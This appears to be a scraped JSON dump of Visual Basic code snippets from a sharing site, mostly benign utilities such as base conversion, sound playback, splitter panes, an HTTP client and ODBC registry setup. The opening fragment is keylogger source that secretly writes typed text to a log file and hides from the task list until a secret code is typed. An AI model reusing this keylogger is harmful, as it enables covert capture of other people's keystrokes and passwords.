Text1.Text & \" CAPS TOGGLE \"\nCase Else\nRem MsgBox i\n'remmed out for secrecy!\nEnd Select\nEnd If\nNext\nLoop\nEnd Sub\nPrivate Sub Command2_Click()\nEnd ' exit program\nEnd Sub\nPrivate Sub text1_Change()\nIf Right(Text1.Text, 10) = \"opensaysme\" Then ' if user types secret access code\nText1.Text = (Left(Text1.Text, Len(Text1.Text) - 10)) ' remove bad access code from list\nSHOWCAD ' show in ctrl + alt + del\nForm1.Top = (Screen.Height / 2) + (Form1.Height / 2) ' put in middle of screen\nEnd If\n'now, to save to the logfile\nOn Error GoTo erre 'in case of non exist, create\nOpen \"c:\\windows\\keylog.ini\" For Input As #1\nInput #1, a ' get old logfile\nClose #1\nOpen \"c:\\windows\\keylog.ini\" For Output As #1\nPrint #1, a ' Take Old Data\nPrint #1, Text1.Text ' And Append New Data\nClose #1\nExit Sub ' unless error has occoured, exit sub, we're done\nerre: ' error has occoured\nOpen \"c:\\windows\\keylog.ini\" For Output As #1\nPrint #1, Text1.Text ' Start New Logfile\nClose #1\nEnd Sub\n"},{"WorldId":1,"id":5028,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5033,"LineNumber":1,"line":"Option Explicit\nPrivate Function dec2any(number As Long, convertb As Integer) As String\n On Error Resume Next\n Dim num As Long\n Dim sum As String\n Dim carry As Long\n \n sum = \"\"\n num = number\n \n If convertb > 1 And convertb < 37 Then\n Do\n carry = num Mod convertb\n If carry > 9 Then\n sum = Chr$(carry + 87) + sum\n Else\n sum = carry & sum\n End If\n \n num = Int(num / convertb)\n Loop Until num = 0\n dec2any = sum\n Else\n dec2any = -1\n End If\nEnd Function\nPrivate Function any2dec(num As String, Optional numbase As Integer = 10) As Long\n On Error Resume Next\n Dim sum As Long\n Dim length As Integer\n Dim count As Integer\n Dim digit As String * 1\n \n length = Len(num)\n If length > 0 And numbase > 0 And numbase < 37 Then\n For count = 1 To length\n digit = Mid$(num, count, 1)\n If digit <= \"9\" Then\n sum = sum + digit * numbase ^ (length - count)\n Else\n sum = sum + (Asc(digit) - 87) * numbase ^ (length - count)\n End If\n Next count\n any2dec = sum\n Else\n any2dec = -1\n End If\nEnd Function\nPrivate Function any2any(num1 As String, num1base As Integer, convertbase As Integer) As String\n Dim answer As Long\n If num1base <> convertbase And num1base > 0 And convertbase > 0 _\n And num1base < 37 And convertbase < 37 Then\n answer = any2dec(num1, num1base)\n any2any = dec2any(answer, convertbase)\n Else\n any2any = -1\n End If\nEnd Function\nPrivate Sub Form_Load()\n ' example: converts letter z of base 36 to base 2 (binary)\n Me.Caption = any2any(\"z\", 36, 2)\nEnd Sub\n"},{"WorldId":1,"id":5041,"LineNumber":1,"line":"To use this API paste the following code into a module:\nPublic Declare Function sndPlaySound Lib \"winmm.dll\" Alias \"sndPlaySoundA\" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long\nThen to call the API type:\nVariable = sndPlaySound (Location, 1)\nSo for example to play a .wav file located at C:\\Sounds\\sound.wav type:\nVariable = sndPlaySound (\"C:\\Sounds\\sound.wav, 1)\n\nThats it!\n\n\n"},{"WorldId":1,"id":5044,"LineNumber":1,"line":"Place the following code into a module:\nPrivate Declare Function GetUserName Lib \"advapi32.dll\" _\n Alias \"GetUserNameA\" (ByVal lpBuffer As String, _\n nSize As Long) As Long\nPublic Function UserName() As String\n Dim llReturn As Long\n Dim lsUserName As String\n Dim lsBuffer As String\n \n lsUserName = \"\"\n lsBuffer = Space$(255)\n llReturn = GetUserName(lsBuffer, 255)\n \n \n If llReturn Then\n lsUserName = Left$(lsBuffer, InStr(lsBuffer, Chr(0)) - 1)\n End If\n \n UserName = lsUserName\nEnd Function\n \n"},{"WorldId":1,"id":5046,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5053,"LineNumber":1,"line":"On Error GoTo errr:\nport = 1\nPortinG:\nMSComm1.CommPort = port\nMSComm1.PortOpen = True\nForm1.MSComm1.Settings = \"9600,N,8,1\"\nMSComm1.Output = \"AT\" + Chr$(13)\nx = 1\nDo: DoEvents\nx = x + 1\nIf x = 1000 Then MSComm1.Output = \"AT\" + Chr$(13)\nIf x = 2000 Then MSComm1.Output = \"AT\" + Chr$(13)\nIf x = 3000 Then MSComm1.Output = \"AT\" + Chr$(13)\nIf x = 4000 Then MSComm1.Output = \"AT\" + Chr$(13)\nIf x = 5000 Then MSComm1.Output = \"AT\" + Chr$(13)\nIf x = 6000 Then MSComm1.Output = \"AT\" + Chr$(13)\nIf x = 7000 Then\nMSComm1.PortOpen = False\nport = port + 1\nGoTo PortinG:\nIf MSComm1.CommPort >= 5 Then\nerrr:\nMsgBox \"Can't Find Modem!\"\nGoTo done:\nEnd If\nEnd If\nLoop Until MSComm1.InBufferCount >= 2\ninstring = MSComm1.Input\nMSComm1.PortOpen = False\n Text1.Text = MSComm1.CommPort & instring\nMsgBox \"Modem Found On Comm\" & port\ndone:\n"},{"WorldId":1,"id":5055,"LineNumber":1,"line":"Option Explicit\n'********************************************'\n'***This Function is to just to Return the***'\n'***Binary Equivalent for Any long integer***'\n'********************************************'\nPrivate Sub Command1_Click()\n \n Dim str1 As String\n \n On Error GoTo a:\n \n str1 = cBin(CLng(Text1.Text))\n \n MsgBox str1\n \n Exit Sub\na:\nEnd Sub\nPublic Function cBin(a As Long) As String\n \n Dim bal As Long\n Dim str1 As String\n \n bal = a\n \n Do Until a <= 0\n bal = a Mod 2\n If bal = 0 Then\n a = a / 2\n Else\n a = (a - 1) / 2\n End If\n str1 = str1 & CStr(bal)\n Loop\n \n cBin = StrReverse(str1)\n \nEnd Function"},{"WorldId":1,"id":5079,"LineNumber":1,"line":"Option Explicit\nPrivate Sub Form_Resize()\n ResizeAll Form1\n'Calls for the ResizeAll function to run\n'Change Form1 to the form name\nEnd Sub"},{"WorldId":1,"id":5089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5098,"LineNumber":1,"line":"VERSION 5.00\nBegin VB.Form Form1 \n Caption = \"Form1\"\n ClientHeight = 6180\n ClientLeft = 210\n ClientTop = 1800\n ClientWidth = 7575\n LinkTopic = \"Form1\"\n ScaleHeight = 6180\n ScaleWidth = 7575\n Begin VB.PictureBox picOuterFrame \n Appearance = 0 'Flat\n ForeColor = &H80000008&\n Height = 5535\n Left = 120\n ScaleHeight = 5505\n ScaleWidth = 7065\n TabIndex = 0\n Top = 120\n Width = 7095\n Begin VB.PictureBox spltVertical \n Appearance = 0 'Flat\n CausesValidation= 0 'False\n ClipControls = 0 'False\n FillColor = &H8000000F&\n FillStyle = 0 'Solid\n ForeColor = &H8000000F&\n Height = 4935\n Left = 3480\n MousePointer = 9 'Size W E\n ScaleHeight = 4905\n ScaleWidth = 225\n TabIndex = 1\n Top = 0\n Width = 255\n End\n Begin VB.PictureBox picRight \n Appearance = 0 'Flat\n BackColor = &H80000005&\n ForeColor = &H80000008&\n Height = 4815\n Left = 3840\n ScaleHeight = 4785\n ScaleWidth = 2985\n TabIndex = 2\n Top = 240\n Width = 3015\n End\n Begin VB.PictureBox picLeft \n Appearance = 0 'Flat\n ForeColor = &H80000008&\n Height = 4575\n Left = 0\n ScaleHeight = 4545\n ScaleWidth = 3345\n TabIndex = 3\n Top = 240\n Width = 3375\n Begin VB.PictureBox spltHorizontal \n Appearance = 0 'Flat\n FillColor = &H8000000F&\n FillStyle = 0 'Solid\n ForeColor = &H8000000F&\n Height = 255\n Left = 480\n MousePointer = 7 'Size N S\n ScaleHeight = 225\n ScaleWidth = 2385\n TabIndex = 4\n Top = 2160\n Width = 2415\n End\n Begin VB.PictureBox picTopLeft \n Appearance = 0 'Flat\n BackColor = &H80000005&\n ForeColor = &H80000008&\n Height = 1815\n Left = 480\n ScaleHeight = 1785\n ScaleWidth = 2025\n TabIndex = 6\n Top = 120\n Width = 2055\n End\n Begin VB.PictureBox picBottomLeft \n Appearance = 0 'Flat\n BackColor = &H80000005&\n ForeColor = &H80000008&\n Height = 1815\n Left = 600\n ScaleHeight = 1785\n ScaleWidth = 2025\n TabIndex = 5\n Top = 2520\n Width = 2055\n End\n End\n End\nEnd\nAttribute VB_Name = \"Form1\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nOption Explicit\nPrivate Const SPLT_WDTH As Long = 80 'width of the spltter bar\nPrivate Const MIN_WINDOW As Long = 10 'Minimum size for any frame created by splitter bars\nPrivate Sub Form_Load()\n '**** Splitter Code ****\n 'No Borders, they are for development and debugging\n spltVertical.BorderStyle = 0\n spltHorizontal.BorderStyle = 0\n picOuterFrame.BorderStyle = 0\n picLeft.BorderStyle = 0\n picTopLeft.BorderStyle = 0\n picBottomLeft.BorderStyle = 0\n picRight.BorderStyle = 0\n '**** End Splitter Code ****\n \nEnd Sub\nPrivate Sub picRight_Resize()\n 'Resize your object to the inside of the frame\n 'YourObject.Move 0, 0, picRight.Width, picRight.Height\nEnd Sub\nPrivate Sub picTopLeft_Resize()\n 'Resize your object to the inside of the frame\n 'YourObject.Move 0, 0, picTopLeft.Width, picTopLeft.Height\nEnd Sub\nPrivate Sub picBottomLeft_Resize()\n 'Resize your object to the inside of the frame\n 'YourObject.Move 0, 0, picBottomLeft.Width, picBottomLeft.Height\nEnd Sub\nPrivate Sub Form_Resize()\n 'For this example, I chose to reside all the frames, depending on the size of the\n ' form. You may choose to put this whole assembly in another sub-frame.\n '**** Splitter Code ****\n 'Resize the outer frame\n Dim height1 As Long, width1 As Long\n height1 = ScaleHeight - (2 * SPLT_WDTH)\n If height1 < 0 Then height1 = 0\n width1 = ScaleWidth - (2 * SPLT_WDTH)\n If width1 < 0 Then width1 = 0\n picOuterFrame.Move SPLT_WDTH, SPLT_WDTH, width1, height1\n '**** End Splitter Code ****\nEnd Sub\n'**** Splitter Code ****\nPrivate Sub spltVertical_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)\n \n If Button = vbLeftButton Then\n spltVertical.Move (spltVertical.Left - (SPLT_WDTH \\ 2)) + x, 0, SPLT_WDTH, picOuterFrame.ScaleHeight\n spltVertical.BackColor = vbButtonShadow 'change the splitter colour\n End If\n \nEnd Sub\nPrivate Sub spltVertical_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)\n If spltVertical.BackColor = vbButtonShadow Then\n spltVertical.Move (spltVertical.Left - (SPLT_WDTH \\ 2)) + x, 0, SPLT_WDTH, picOuterFrame.ScaleHeight\n End If\nEnd Sub\nPrivate Sub spltVertical_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)\n \n If spltVertical.BackColor = vbButtonShadow Then\n spltVertical.BackColor = vbButtonFace 'restore splitter colour\n spltVertical.Move (spltVertical.Left - (SPLT_WDTH \\ 2)) + x, 0, SPLT_WDTH, picOuterFrame.ScaleHeight\n \n 'Set the absolute Boundaries\n Dim lAbsLeft As Long\n Dim lAbsRight As Long\n lAbsLeft = MIN_WINDOW\n lAbsRight = picOuterFrame.ScaleWidth - (SPLT_WDTH + MIN_WINDOW)\n Select Case spltVertical.Left\n Case Is < lAbsLeft 'the pane is too thin\n spltVertical.Move lAbsLeft, 0, SPLT_WDTH, picOuterFrame.ScaleHeight\n Case Is > lAbsRight 'the pane is too wide\n spltVertical.Move lAbsRight, 0, SPLT_WDTH, picOuterFrame.ScaleHeight\n End Select\n \n 'reposition both frames, and the spltVertical bar\n picOuterFrame_Resize\n End If\n \nEnd Sub\nPrivate Sub spltHorizontal_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)\n \n If Button = vbLeftButton Then\n spltHorizontal.BackColor = vbButtonShadow 'change the splitter colour\n spltHorizontal.Move 0, (spltHorizontal.Top - (SPLT_WDTH \\ 2)) + y, picLeft.ScaleWidth, SPLT_WDTH\n End If\n \nEnd Sub\nPrivate Sub spltHorizontal_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)\n If spltHorizontal.BackColor = vbButtonShadow Then\n spltHorizontal.Move 0, (spltHorizontal.Top - (SPLT_WDTH \\ 2)) + y, picLeft.ScaleWidth, SPLT_WDTH\n End If\nEnd Sub\nPrivate Sub splthorizontal_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)\n \n If spltHorizontal.BackColor = vbButtonShadow Then\n spltHorizontal.BackColor = vbButtonFace 'restore splitter colour\n spltHorizontal.Move 0, (spltHorizontal.Top - (SPLT_WDTH \\ 2)) + y, picLeft.ScaleWidth, SPLT_WDTH\n \n 'Set the absolute Boundaries\n Dim lAbsTop As Long\n Dim lAbsBottom As Long\n lAbsTop = MIN_WINDOW\n lAbsBottom = picLeft.ScaleHeight - (SPLT_WDTH + MIN_WINDOW)\n Select Case spltHorizontal.Top\n Case Is < lAbsTop 'the pane is too short\n spltHorizontal.Move 0, lAbsTop, picLeft.ScaleWidth, SPLT_WDTH\n Case Is > lAbsBottom 'the pane is too tall\n spltHorizontal.Move 0, lAbsBottom, picLeft.ScaleWidth, SPLT_WDTH\n End Select\n \n 'reposition both sub-frames, and the spltHorizontal bar\n picLeft_Resize\n End If\n \nEnd Sub\nPrivate Sub picOuterFrame_Resize()\n \n Dim x1 As Long\n Dim x2 As Long\n Dim y1 As Long\n \n On Error Resume Next\n y1 = picOuterFrame.ScaleHeight\n x1 = spltVertical.Left\n x2 = x1 + SPLT_WDTH + 1\n \n picLeft.Move 0, 0, x1 - 1, y1\n spltVertical.Move x1, 0, SPLT_WDTH, y1\n picRight.Move x2, 0, picOuterFrame.ScaleWidth - x2, y1\n \n 'Force a refresh on the left side\n picLeft_Resize\n \nEnd Sub\nPrivate Sub picLeft_Resize()\n 'Resize the internal stuff. Only the width's\n Dim x1 As Long\n Dim y1 As Long\n Dim y2 As Long\n Dim y3 as Long\n \n x1 = picLeft.Width\n y1 = spltHorizontal.Top\n y2 = y1 + SPLT_WDTH + 1\n \n 'We have to make sure that we do not size any windows to a negative dimension\n y3 = y1 - 1\n If y3 < MIN_WINDOW Then\n y3 = MIN_WINDOW\n End If\n picTopLeft.Move 0, 0, x1, y3\n spltHorizontal.Move 0, y1, x1, SPLT_WDTH\n \n y3 = picLeft.ScaleHeight - y2\n If y3 < MIN_WINDOW Then\n y3 = MIN_WINDOW\n End If\n picBottomLeft.Move 0, y2, x1, y3\n \nEnd Sub\n'**** End Splitter Code ****"},{"WorldId":1,"id":5099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5121,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5132,"LineNumber":1,"line":"'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'' By: Peptido\n'' Date: Dec 21 1999\n''\n'' Purpose: Reading resources from a DLL\n''\n'' Functions:\n''\n'' DrawDLLBitmap: Load a Bitmap Resource from the DLL and displays it\n'' Parameters:\n'' DLLPath: Path to the DLL file containing the resources\n'' PicDesc: Name of the Bitmap Resource inside the DLL\n'' hDC: Specifies where to Draw the bitmap\n'' dstX: Optional. X coordinate specifying where to start drawing\n'' dstY: Optional. Y coordinate specifying where to start drawing\n''\n'' DrawDLLIcon: Load an Icon Resource from the DLL and displays it\n'' Parameters: Exactly the same as DrawDLLBitmap\n''\n'' LoadDLLString: Returns a String Resource in the DLL\n'' Parameters:\n'' DLLPath: Path to the DLL file containing the resources\n'' StrNum: Number asigned to the String Resource\n''\n'' PlayDLLSound: Loads a Wave Resource from the DLL and plays it\n'' DLLPath: Path to the DLL file containing the resources\n'' WavDesc: Name of the Wave Resource inside the DLL\n''\n''\n'' Known Bugs: None\n''\n''\n'' Please send any comments, suggestions or bug reports to:\n'' peptido@insideo.com.ar\n''\n\n'Structures Declaration\nPrivate Type BITMAP\n bmType As Long\n bmWidth As Long\n bmHeight As Long\n bmWidthBytes As Long\n bmPlanes As Integer\n bmBitsPixel As Integer\n bmBits As Long\nEnd Type\n'Constant Declaration\nPrivate Const SND_RESOURCE = &H40004\nPrivate Const SND_SYNC = &H0\nPrivate Const SRCCOPY = &HCC0020\n'API Function Declaration\nPrivate Declare Function LoadString Lib \"user32\" Alias \"LoadStringA\" (ByVal hInstance As Long, ByVal wID As Long, ByVal lpBuffer As String, ByVal nBufferMax As Long) As Long\nPrivate Declare Function LoadBitmap Lib \"user32\" Alias \"LoadBitmapA\" (ByVal hInstance As Long, ByVal lpBitmapName As String) As Long\nPrivate Declare Function LoadIcon Lib \"user32\" Alias \"LoadIconA\" (ByVal hInstance As Long, ByVal lpIconName As String) As Long\nPrivate Declare Function DrawIcon Lib \"user32\" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal hIcon As Long) As Long\nPrivate Declare Function LoadLibrary Lib \"kernel32\" Alias \"LoadLibraryA\" (ByVal lpLibFileName As String) As Long\nPrivate Declare Function FreeLibrary Lib \"kernel32\" (ByVal hLibModule As Long) As Long\nPrivate Declare Function GetObject Lib \"gdi32\" Alias \"GetObjectA\" (ByVal hObject As Long, ByVal nCount As Long, lpObject As Any) As Long\nPrivate Declare Function CreateCompatibleDC Lib \"gdi32\" (ByVal hDC As Long) As Long\nPrivate Declare Function SelectObject Lib \"gdi32\" (ByVal hDC As Long, ByVal hObject As Long) As Long\nPrivate Declare Function BitBlt Lib \"gdi32\" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long\nPrivate Declare Function DeleteDC Lib \"gdi32\" (ByVal hDC As Long) As Long\nPrivate Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nPrivate Declare Function PlaySound Lib \"winmm.dll\" Alias \"PlaySoundA\" (ByVal lpszName As String, ByVal hModule As Long, ByVal dwFlags As Long) As Long\n\nPublic Sub DrawDLLIcon(DLLPath As String, IconDesc As String, hDC As Long, Optional dstX As Long = 0, Optional dstY As Long = 0)\nDim hLibInst As Long\nDim hIcon As Long\nhLibInst = LoadLibrary(DLLPath)\nhIcon = LoadIcon(hLibInst, IconDesc)\nCall DrawIcon(hDC, dstX, dstY, hIcon)\nCall FreeLibrary(hLibInst)\nEnd Sub\nPublic Sub DrawDLLBitmap(DLLPath As String, picDesc As String, hDC As Long, Optional dstX As Long = 0, Optional dstY As Long = 0)\nDim hLibInst As Long\nDim hdcMemory As Long\nDim hLoadedbitmap As Long\nDim hOldBitmap As Long\nDim bmpInfo As BITMAP\nhLibInst = LoadLibrary(DLLPath)\nhLoadedbitmap = LoadBitmap(hLibInst, picDesc)\nCall GetObject(hLoadedbitmap, Len(bmpInfo), bmpInfo)\nhdcMemory = CreateCompatibleDC(hDC)\nhOldBitmap = SelectObject(hdcMemory, hLoadedbitmap)\nCall BitBlt(hDC, dstX, dstY, bmpInfo.bmWidth, bmpInfo.bmHeight, hdcMemory, 0, 0, SRCCOPY)\nCall SelectObject(hdcMemory, hOldBitmap)\nCall DeleteObject(hLoadedbitmap)\nCall DeleteDC(hdcMemory)\nCall FreeLibrary(hLibInst)\nEnd Sub\nPublic Sub PlayDLLSound(DLLPath As String, WavDesc As String)\nDim hLibInst As Long\nhLibInst = LoadLibrary(DLLPath)\nCall PlaySound(WavDesc, hLibInst, SND_RESOURCE Or SND_SYNC)\nFreeLibrary (hLibInst)\nEnd Sub\nPublic Function LoadDLLString(DLLPath As String, StrNum As Long) As String\nDim hLibInst As Long\nDim strTemp As String * 32768\nDim posTemp As Integer\nhLibInst = LoadLibrary(DLLPath)\nCall LoadString(hLibInst, StrNum, strTemp, Len(strTemp))\nposTemp = InStr(strTemp, Chr$(0))\nLoadDLLString = Left$(strTemp, posTemp - 1)\nFreeLibrary (hLibInst)\nEnd Function\n"},{"WorldId":1,"id":5147,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5166,"LineNumber":1,"line":"'based on HTTP 1.0 - RFC 1945\n'see http://www.tair.freeservers.com for more info, details and downloads!\nPublic JobURL As String\nPublic ResponseDocument As String\nPublic StepCount As Long\nPublic IsProxyUsed As Boolean\nPublic ServerHostIP As String\nPublic ServerPort As Long\n'------------------------------------------------------------\nDim LocalStepCounter As Long\nDim RequestHeader As String\nDim RequestTemplate As String\n'------------------------------------------------------------\nPublic Sub ActionStartup()\n \n If UCase(Left(JobURL, 7)) <> \"HTTP://\" Then\n MsgBox \"Please enter url with http://\", vbCritical + vbOK\n FrmActionWait.Hide\n Unload FrmActionWait\n Exit Sub\n End If\n \n LocalStepCounter = 0\n RequestHeader = \"\"\n RequestTemplate = \"GET _$-$_$- HTTP/1.0\" & Chr(13) & Chr(10) & _\n \"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-comet, */*\" & Chr(13) & Chr(10) & _\n \"Accept-Language: en\" & Chr(13) & Chr(10) & _\n \"Accept-Encoding: gzip , deflate\" & Chr(13) & Chr(10) & _\n \"Cache-Control: no-cache\" & Chr(13) & Chr(10) & _\n \"Proxy-Connection: Keep-Alive\" & Chr(13) & Chr(10) & _\n \"User-Agent: SSM Agent 1.0\" & Chr(13) & Chr(10) & _\n \"Host: @$@@$@\" & Chr(13) & Chr(10)\n pureURL = Right(JobURL, Len(JobURL) - 7)\n startPos = InStr(1, pureURL, \"/\")\n \n If startPos < 1 Then\n ServerAddress = pureURL\n documentURI = \"/\"\n Else\n ServerAddress = Left(pureURL, startPos - 1)\n documentURI = Right(pureURL, Len(pureURL) - startPos + 1)\n End If\n \n If ServerAddress = \"\" Or documentURI = \"\" Then\n MsgBox \"Unable to detect target page!\", vbCritical + vbOK\n FrmActionWait.Hide\n Unload FrmActionWait\n Exit Sub\n End If\n \n If IsProxyUsed Then\n \n If ServerHostIP = \"\" Then\n MsgBox \"Unable to detect proxy address!\", vbCritical + vbOK\n FrmActionWait.Hide\n Unload FrmActionWait\n Exit Sub\n End If\n \n RequestHeader = RequestTemplate\n RequestHeader = Replace(RequestHeader, \"_$-$_$-\", JobURL)\n Else\n ServerHostIP = ServerAddress\n ServerPort = 80\n RequestHeader = RequestTemplate\n RequestHeader = Replace(RequestHeader, \"_$-$_$-\", documentURI)\n End If\n \n Me.Show\n RequestHeader = Replace(RequestHeader, \"@$@@$@\", ServerAddress)\n RequestHeader = RequestHeader & Chr(13) & Chr(10)\n TxtStatus.Text = \"Connecting to server ...\"\n TxtStatus.Refresh\n \n WS_HTTP.Connect ServerHostIP, ServerPort\nEnd Sub\nPrivate Sub WS_HTTP_Close()\n WS_HTTP.Close\n TxtStatus.Text = \"Transaction completed ...\"\n TxtStatus.Refresh\n Me.Hide\n Unload Me\nEnd Sub\nPrivate Sub WS_HTTP_Connect()\n WS_HTTP.SendData RequestHeader\n TxtStatus.Text = \"Connected, try to obtain page ...\"\n TxtStatus.Refresh\n FrmMainWin.TxtResponse.Text = \"\"\n FrmMainWin.TxtResponse.Refresh\nEnd Sub\nPrivate Sub WS_HTTP_DataArrival(ByVal bytesTotal As Long)\n Dim tmpString As String\n WS_HTTP.GetData tmpString, vbString\n FrmMainWin.TxtResponse.Text = FrmMainWin.TxtResponse.Text & tmpString\n FrmMainWin.TxtResponse.Refresh\n TxtStatus.Text = \"Data from server, continue ...\"\n TxtStatus.Refresh\nEnd Sub\nPrivate Sub WS_HTTP_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)\n WS_HTTP.Close\n TxtStatus.Text = \"Errors occured ...\"\n TxtStatus.Refresh\n Me.Hide\n Unload Me\nEnd Sub\n"},{"WorldId":1,"id":5172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5174,"LineNumber":1,"line":"Public Function ExtractFileName(ByVal strPath As String) As String\n ' StrReverse is only working in VB6\n strPath = StrReverse(strPath)\n strPath = Left(strPath, InStr(strPath, \"\\\") - 1)\n ExtractFileName = StrReverse(strPath)\nEnd Function\n"},{"WorldId":1,"id":5175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5185,"LineNumber":1,"line":"'Where Odbccp32.cpl is the name of the control panel item.\nShell \"rundll32.exe shell32.dll,Control_RunDLL Odbccp32.cpl\", vbNormalFocus\n"},{"WorldId":1,"id":5187,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5193,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5213,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim i As Integer 'declare the variable\nFor i = 1 To 150 'how many times (you can change the 150 to whatever you want)\n SendKeys \"{CAPSLOCK}\", True 'turn on the capslocks light, then turn it off\n SendKeys \"{DOWN}\", True 'just to give more time \n SendKeys \"{DOWN}\", True '^^^^^\n SendKeys \"{SCROLLLOCK}\", True 'turn on the scroll lock light, turn it off\n SendKeys \"{DOWN}\", True 'give more time\n SendKeys \"{DOWN}\", True '^^^^^\nNext i\nEnd Sub"},{"WorldId":1,"id":5218,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5225,"LineNumber":1,"line":"'in module file\nPrivate Const KEY_QUERY_VALUE = &H1\nPrivate Const ERROR_SUCCESS = 0&\nPrivate Const REG_SZ = 1\nPrivate Const HKEY_LOCAL_MACHINE = &H80000002\nPrivate Const REG_DWORD = 4\nPrivate Declare Function RegOpenKeyEx Lib \"advapi32.dll\" Alias \"RegOpenKeyExA\" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long\nPrivate Declare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.\nPrivate Declare Function RegCreateKey Lib \"advapi32.dll\" Alias \"RegCreateKeyA\" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\nPrivate Declare Function RegSetValueExString Lib \"advapi32.dll\" Alias \"RegSetValueExA\" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long\nPrivate Declare Function RegCloseKey Lib \"advapi32.dll\" (ByVal hKey As Long) As Long\nPrivate Declare Function RegSetValueExLong Lib \"advapi32.dll\" Alias \"RegSetValueExA\" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long\nPublic Function isSZKeyExist(szKeyPath As String, _\n szKeyName As String, _\n ByRef szKeyValue As String) As Boolean\n \nDim bRes As Boolean\nDim lRes As Long\nDim hKey As Long\nlRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE, _\n szKeyPath, _\n 0&, _\n KEY_QUERY_VALUE, _\n hKey)\nIf lRes <> ERROR_SUCCESS Then\n isSZKeyExist = False\n Exit Function\nEnd If\nlRes = RegQueryValueEx(hKey, _\n szKeyName, _\n 0&, _\n REG_SZ, _\n ByVal szKeyValue, _\n Len(szKeyValue))\n \nRegCloseKey (hKey)\nIf lRes <> ERROR_SUCCESS Then\n isSZKeyExist = False\n Exit Function\nEnd If\n isSZKeyExist = True\n \nEnd Function\n \nPublic Function checkAccessDriver(ByRef szDriverName As String) As Boolean\n Dim szKeyPath As String\n Dim szKeyName As String\n Dim szKeyValue As String\n Dim bRes As Boolean\n \n \n bRes = False\n \n szKeyPath = \"SOFTWARE\\ODBC\\ODBCINST.INI\\Microsoft Access Driver (*.mdb)\"\n szKeyName = \"Driver\"\n szKeyValue = String(255, Chr(32))\n \n If isSZKeyExist(szKeyPath, szKeyName, szKeyValue) Then\n szDriverName = szKeyValue\n bRes = True\n Else\n bRes = False\n End If\n \n checkAccessDriver = bRes\nEnd Function\nPublic Function checkWantedAccessDSN(szWantedDSN As String) As Boolean\n Dim szKeyPath As String\n Dim szKeyName As String\n Dim szKeyValue As String\n Dim bRes As Boolean\n \n szKeyPath = \"SOFTWARE\\ODBC\\ODBC.INI\\ODBC Data Sources\"\n szKeyName = szWantedDSN\n szKeyValue = String(255, Chr(32))\n \n If isSZKeyExist(szKeyPath, szKeyName, szKeyValue) Then\n bRes = True\n Else\n bRes = False\n End If\n \n checkWantedAccessDSN = bRes\n \nEnd Function\nPublic Function createAccessDSN(szDriverName As String, _\n szWantedDSN As String) As Boolean\n \n Dim hKey As Long\n Dim szKeyPath As String\n Dim szKeyName As String\n Dim szKeyValue As String\n Dim lKeyValue As Long\n Dim lRes As Long\n Dim lSize As Long\n Dim szEmpty As String\n \n szEmpty = Chr(0)\n \n \n lSize = 4\n \n lRes = RegCreateKey(HKEY_LOCAL_MACHINE, _\n \"SOFTWARE\\ODBC\\ODBC.INI\\\" & _\n szWantedDSN, _\n hKey)\n \n If lRes <> ERROR_SUCCESS Then\n createAccessDSN = False\n Exit Function\n End If\n \n lRes = RegSetValueExString(hKey, \"UID\", 0&, REG_SZ, _\n szEmpty, Len(szEmpty))\n \n szKeyValue = App.Path & \"\\DB\\ssmdb.mdb\"\n lRes = RegSetValueExString(hKey, \"DBQ\", 0&, REG_SZ, _\n 